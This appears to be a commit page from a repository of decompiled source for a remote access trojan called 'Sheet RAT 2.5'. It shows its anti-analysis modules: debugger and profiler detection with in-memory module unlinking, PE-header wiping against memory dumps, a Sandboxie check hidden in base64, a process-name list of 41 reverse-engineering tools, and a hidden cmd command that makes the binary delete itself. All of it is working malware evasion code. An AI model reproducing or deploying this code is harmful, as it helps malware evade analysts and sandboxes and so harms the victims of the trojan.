i2p/sheet-rat
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

initial commit

Browse Source
This commit is contained in:
i2p
2026-08-27 11:23:25 -06:00
commit faef36ee57
588 changed files with 40547 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Server/MindLated/Protection/Anti/Runtime/AntiDebugSafe.cs
+64
View File
@@ -0,0 +1,64 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.AntiDebugSafe
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
//#nullable disable
namespace MindLated.Protection.Anti.Runtime {
internal static class AntiDebugSafe
{
[DllImport("ntdll.dll", CharSet = CharSet.Auto)]
private static extern int NtQueryInformationProcess(
IntPtr test,
int test2,
int[] test3,
int test4,
ref int test5);
private static void Initialize()
{
if (Debugger.IsLogging())
Environment.Exit(0);
if (Debugger.IsAttached)
Environment.Exit(0);
if (Environment.GetEnvironmentVariable("complus_profapi_profilercompatibilitysetting") != null)
Environment.Exit(0);
if (string.Compare(Environment.GetEnvironmentVariable("COR_ENABLE_PROFILING"), "1", StringComparison.Ordinal) == 0)
Environment.Exit(0);
if (Environment.OSVersion.Platform != PlatformID.Win32NT)
return;
int[] test3 = new int[6];
int test5 = 0;
IntPtr handle = Process.GetCurrentProcess().Handle;
if (AntiDebugSafe.NtQueryInformationProcess(handle, 31 /*0x1F*/, test3, 4, ref test5) == 0 && test3[0] != 1)
Environment.Exit(0);
if (AntiDebugSafe.NtQueryInformationProcess(handle, 30, test3, 4, ref test5) == 0 && test3[0] != 0)
Environment.Exit(0);
if (AntiDebugSafe.NtQueryInformationProcess(handle, 0, test3, 24, ref test5) != 0)
return;
IntPtr ptr1 = Marshal.ReadIntPtr(Marshal.ReadIntPtr((IntPtr) test3[1], 12), 12);
Marshal.WriteInt32(ptr1, 32 /*0x20*/, 0);
IntPtr num1 = Marshal.ReadIntPtr(ptr1, 0);
IntPtr ptr2 = num1;
do
{
ptr2 = Marshal.ReadIntPtr(ptr2, 0);
if (Marshal.ReadInt32(ptr2, 44) == 1572886 && Marshal.ReadInt32(Marshal.ReadIntPtr(ptr2, 48 /*0x30*/), 0) == 7536749)
{
IntPtr num2 = Marshal.ReadIntPtr(ptr2, 8);
IntPtr num3 = Marshal.ReadIntPtr(ptr2, 12);
Marshal.WriteInt32(num3, 0, (int) num2);
Marshal.WriteInt32(num2, 4, (int) num3);
}
}
while (!ptr2.Equals((object) num1));
}
}
}
Server/MindLated/Protection/Anti/Runtime/AntiDumpRun.cs
+257
View File
@@ -0,0 +1,257 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.AntiDumpRun
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System;
using System.Windows.Forms;
using System.Reflection;
using System.Runtime.InteropServices;
//#nullable disable
namespace MindLated.Protection.Anti.Runtime {
internal class AntiDumpRun
{
private static unsafe void CopyBlock(void* destination, void* source, uint byteCount)
{
}
private static unsafe void InitBlock(void* startAddress, byte value, uint byteCount)
{
}
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool VirtualProtect(
IntPtr lpAddress,
uint dwSize,
[MarshalAs(UnmanagedType.U4)] AntiDumpRun.MemoryProtection flNewProtect,
[MarshalAs(UnmanagedType.U4)] out AntiDumpRun.MemoryProtection lpflOldProtect);
private static unsafe void Initialize()
{
Module module = typeof (AntiDumpRun).Module;
byte* hinstance = (byte*) (void*) Marshal.GetHINSTANCE(module);
byte* numPtr1 = hinstance + 60;
byte* numPtr2 = hinstance + *(uint*) numPtr1 + 6;
ushort length = *(ushort*) numPtr2;
byte* numPtr3 = numPtr2 + 14;
ushort num1 = *(ushort*) numPtr3;
byte* numPtr4 = numPtr3 + 4 + (int) num1;
byte* source = stackalloc byte[11];
if (module.FullyQualifiedName[0] != '<')
{
byte* startAddress = hinstance + *(uint*) (numPtr4 - 16 /*0x10*/);
AntiDumpRun.MemoryProtection lpflOldProtect;
if (*(uint*) (numPtr4 - 120) != 0U)
{
byte* numPtr5 = hinstance + *(uint*) (numPtr4 - 120);
byte* numPtr6 = hinstance + *(uint*) numPtr5;
byte* destination1 = hinstance + *(uint*) (numPtr5 + 12);
byte* destination2 = hinstance + *(uint*) numPtr6 + 2;
AntiDumpRun.VirtualProtect(new IntPtr((void*) destination1), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) source = 1818522734;
*(int*) (source + 4) = 1818504812;
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108;
*(short*) (source + 8) = (short) 108;
source[10] = (byte) 0;
AntiDumpRun.CopyBlock((void*) destination1, (void*) source, 11U);
AntiDumpRun.VirtualProtect(new IntPtr((void*) destination2), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) source = 1866691662;
*(int*) (source + 4) = 1852404846;
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973;
*(short*) (source + 8) = (short) 25973;
source[10] = (byte) 0;
AntiDumpRun.CopyBlock((void*) destination2, (void*) source, 11U);
}
for (int index = 0; index < (int) length; ++index)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
AntiDumpRun.InitBlock((void*) numPtr4, (byte) 0, 8U);
numPtr4 += 40;
}
AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
byte* numPtr7 = hinstance + *(uint*) (startAddress + 8);
AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/);
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr7), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) numPtr7 = 0;
byte* numPtr8 = numPtr7 + 12;
byte* numPtr9 = (byte*) ((ulong) (numPtr8 + *(uint*) numPtr8) + 7UL & 18446744073709551612UL) + 2;
ushort num2 = (ushort) *numPtr9;
byte* numPtr10 = numPtr9 + 2;
for (int index1 = 0; index1 < (int) num2; ++index1)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
numPtr10 = numPtr10 + 4 + 4;
for (int index2 = 0; index2 < 8; ++index2)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*numPtr10 = (byte) 0;
byte* numPtr11 = numPtr10 + 1;
if (*numPtr11 == (byte) 0)
{
numPtr10 = numPtr11 + 3;
break;
}
*numPtr11 = (byte) 0;
byte* numPtr12 = numPtr11 + 1;
if (*numPtr12 == (byte) 0)
{
numPtr10 = numPtr12 + 2;
break;
}
*numPtr12 = (byte) 0;
byte* numPtr13 = numPtr12 + 1;
if (*numPtr13 == (byte) 0)
{
numPtr10 = numPtr13 + 1;
break;
}
*numPtr13 = (byte) 0;
numPtr10 = numPtr13 + 1;
}
}
}
else
{
uint num3 = *(uint*) (numPtr4 - 16 /*0x10*/);
uint num4 = *(uint*) (numPtr4 - 120);
uint[] numArray1 = new uint[(int) length];
uint[] numArray2 = new uint[(int) length];
uint[] numArray3 = new uint[(int) length];
AntiDumpRun.MemoryProtection lpflOldProtect;
for (int index = 0; index < (int) length; ++index)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
Marshal.Copy(new byte[8], 0, (IntPtr) (void*) numPtr4, 8);
numArray1[index] = *(uint*) (numPtr4 + 12);
numArray2[index] = *(uint*) (numPtr4 + 8);
numArray3[index] = *(uint*) (numPtr4 + 20);
numPtr4 += 40;
}
if (num4 != 0U)
{
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num4 && num4 < numArray1[index] + numArray2[index])
{
num4 = num4 - numArray1[index] + numArray3[index];
break;
}
}
byte* numPtr14 = hinstance + num4;
uint num5 = *(uint*) numPtr14;
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num5 && num5 < numArray1[index] + numArray2[index])
{
num5 = num5 - numArray1[index] + numArray3[index];
break;
}
}
byte* numPtr15 = hinstance + num5;
uint num6 = *(uint*) (numPtr14 + 12);
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num6 && num6 < numArray1[index] + numArray2[index])
{
num6 = num6 - numArray1[index] + numArray3[index];
break;
}
}
uint num7 = *(uint*) numPtr15 + 2U;
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num7 && num7 < numArray1[index] + numArray2[index])
{
num7 = num7 - numArray1[index] + numArray3[index];
break;
}
}
AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num6)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) source = 1818522734;
*(int*) (source + 4) = 1818504812;
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108;
*(short*) (source + 8) = (short) 108;
source[10] = (byte) 0;
AntiDumpRun.CopyBlock((void*) (hinstance + num6), (void*) source, 11U);
AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num7)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) source = 1866691662;
*(int*) (source + 4) = 1852404846;
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973;
*(short*) (source + 8) = (short) 25973;
source[10] = (byte) 0;
AntiDumpRun.CopyBlock((void*) (hinstance + num7), (void*) source, 11U);
}
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num3 && num3 < numArray1[index] + numArray2[index])
{
num3 = num3 - numArray1[index] + numArray3[index];
break;
}
}
byte* startAddress = hinstance + num3;
AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
uint num8 = *(uint*) (startAddress + 8);
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num8 && num8 < numArray1[index] + numArray2[index])
{
num8 = num8 - numArray1[index] + numArray3[index];
break;
}
}
AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/);
byte* numPtr16 = hinstance + num8;
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr16), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) numPtr16 = 0;
byte* numPtr17 = numPtr16 + 12;
byte* numPtr18 = (byte*) ((ulong) (numPtr17 + *(uint*) numPtr17) + 7UL & 18446744073709551612UL) + 2;
ushort num9 = (ushort) *numPtr18;
byte* numPtr19 = numPtr18 + 2;
for (int index3 = 0; index3 < (int) num9; ++index3)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
numPtr19 = numPtr19 + 4 + 4;
for (int index4 = 0; index4 < 8; ++index4)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*numPtr19 = (byte) 0;
byte* numPtr20 = numPtr19 + 1;
if (*numPtr20 == (byte) 0)
{
numPtr19 = numPtr20 + 3;
break;
}
*numPtr20 = (byte) 0;
byte* numPtr21 = numPtr20 + 1;
if (*numPtr21 == (byte) 0)
{
numPtr19 = numPtr21 + 2;
break;
}
*numPtr21 = (byte) 0;
byte* numPtr22 = numPtr21 + 1;
if (*numPtr22 == (byte) 0)
{
numPtr19 = numPtr22 + 1;
break;
}
*numPtr22 = (byte) 0;
numPtr19 = numPtr22 + 1;
}
}
}
}
internal enum MemoryProtection
{
ExecuteReadWrite = 64, // 0x00000040
}
}
}
Server/MindLated/Protection/Anti/Runtime/EofAntiTamper.cs
+36
View File
@@ -0,0 +1,36 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.EofAntiTamper
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
//#nullable disable
namespace MindLated.Protection.Anti.Runtime {
internal class EofAntiTamper
{
private static void Initializer()
{
string location = Assembly.GetExecutingAssembly().Location;
Stream baseStream = new StreamReader(location).BaseStream;
BinaryReader binaryReader = new BinaryReader(baseStream);
string str1 = BitConverter.ToString(SHA256.Create().ComputeHash(binaryReader.ReadBytes(File.ReadAllBytes(location).Length - 32 /*0x20*/)));
baseStream.Seek(-32L, SeekOrigin.End);
string str2 = BitConverter.ToString(binaryReader.ReadBytes(32 /*0x20*/));
if (!(str1 != str2))
return;
Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"")
{
WindowStyle = ProcessWindowStyle.Hidden
})?.Dispose();
Process.GetCurrentProcess().Kill();
}
}
}
Server/MindLated/Protection/Anti/Runtime/SelfDeleteClass.cs
+136
View File
@@ -0,0 +1,136 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.SelfDeleteClass
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System;
using System.Windows.Forms;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
//#nullable disable
namespace MindLated.Protection.Anti.Runtime {
internal class SelfDeleteClass
{
public static void Init()
{
if (SelfDeleteClass.IsSandboxie())
SelfDeleteClass.SelfDelete();
if (SelfDeleteClass.IsDebugger())
SelfDeleteClass.SelfDelete();
if (!SelfDeleteClass.IsdnSpyRun())
return;
SelfDeleteClass.SelfDelete();
}
private static bool IsSandboxie() => SelfDeleteClass.IsDetected();
private static bool IsDebugger() => SelfDeleteClass.Run();
private static bool IsdnSpyRun() => SelfDeleteClass.ValueType();
private static void SelfDelete()
{
Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"")
{
WindowStyle = ProcessWindowStyle.Hidden
})?.Dispose();
Process.GetCurrentProcess().Kill();
}
private static bool ValueType()
{
return File.Exists(Environment.ExpandEnvironmentVariables("%appdata%") + "\\dnSpy\\dnSpy.xml");
}
private static IntPtr GetModuleHandle(string libName)
{
foreach (ProcessModule module in (ReadOnlyCollectionBase) Process.GetCurrentProcess().Modules)
{
if (module.ModuleName.ToLower().Contains(libName.ToLower()))
return module.BaseAddress;
}
return IntPtr.Zero;
}
private static bool IsDetected()
{
return SelfDeleteClass.GetModuleHandle(Encoding.UTF8.GetString(Convert.FromBase64String("U2JpZURsbC5kbGw="))) != IntPtr.Zero;
}
private static bool Run()
{
bool flag = false;
if (Debugger.IsAttached || Debugger.IsLogging())
{
flag = true;
}
else
{
string[] strArray = new string[41]
{
"codecracker",
"x32dbg",
"x64dbg",
"ollydbg",
"ida",
"charles",
"dnspy",
"simpleassembly",
"peek",
"httpanalyzer",
"httpdebug",
"fiddler",
"wireshark",
"dbx",
"mdbg",
"gdb",
"windbg",
"dbgclr",
"kdb",
"kgdb",
"mdb",
"processhacker",
"scylla_x86",
"scylla_x64",
"scylla",
"idau64",
"idau",
"idaq",
"idaq64",
"idaw",
"idaw64",
"idag",
"idag64",
"ida64",
"ida",
"ImportREC",
"IMMUNITYDEBUGGER",
"MegaDumper",
"CodeBrowser",
"reshacker",
"cheat engine"
};
foreach (Process process in Process.GetProcesses())
{
if (process != Process.GetCurrentProcess())
{
for (int index = 0; index < strArray.Length; ++index)
{
if (process.ProcessName.ToLower().Contains(strArray[index]))
flag = true;
if (process.MainWindowTitle.ToLower().Contains(strArray[index]))
flag = true;
}
}
}
}
return flag;
}
}
}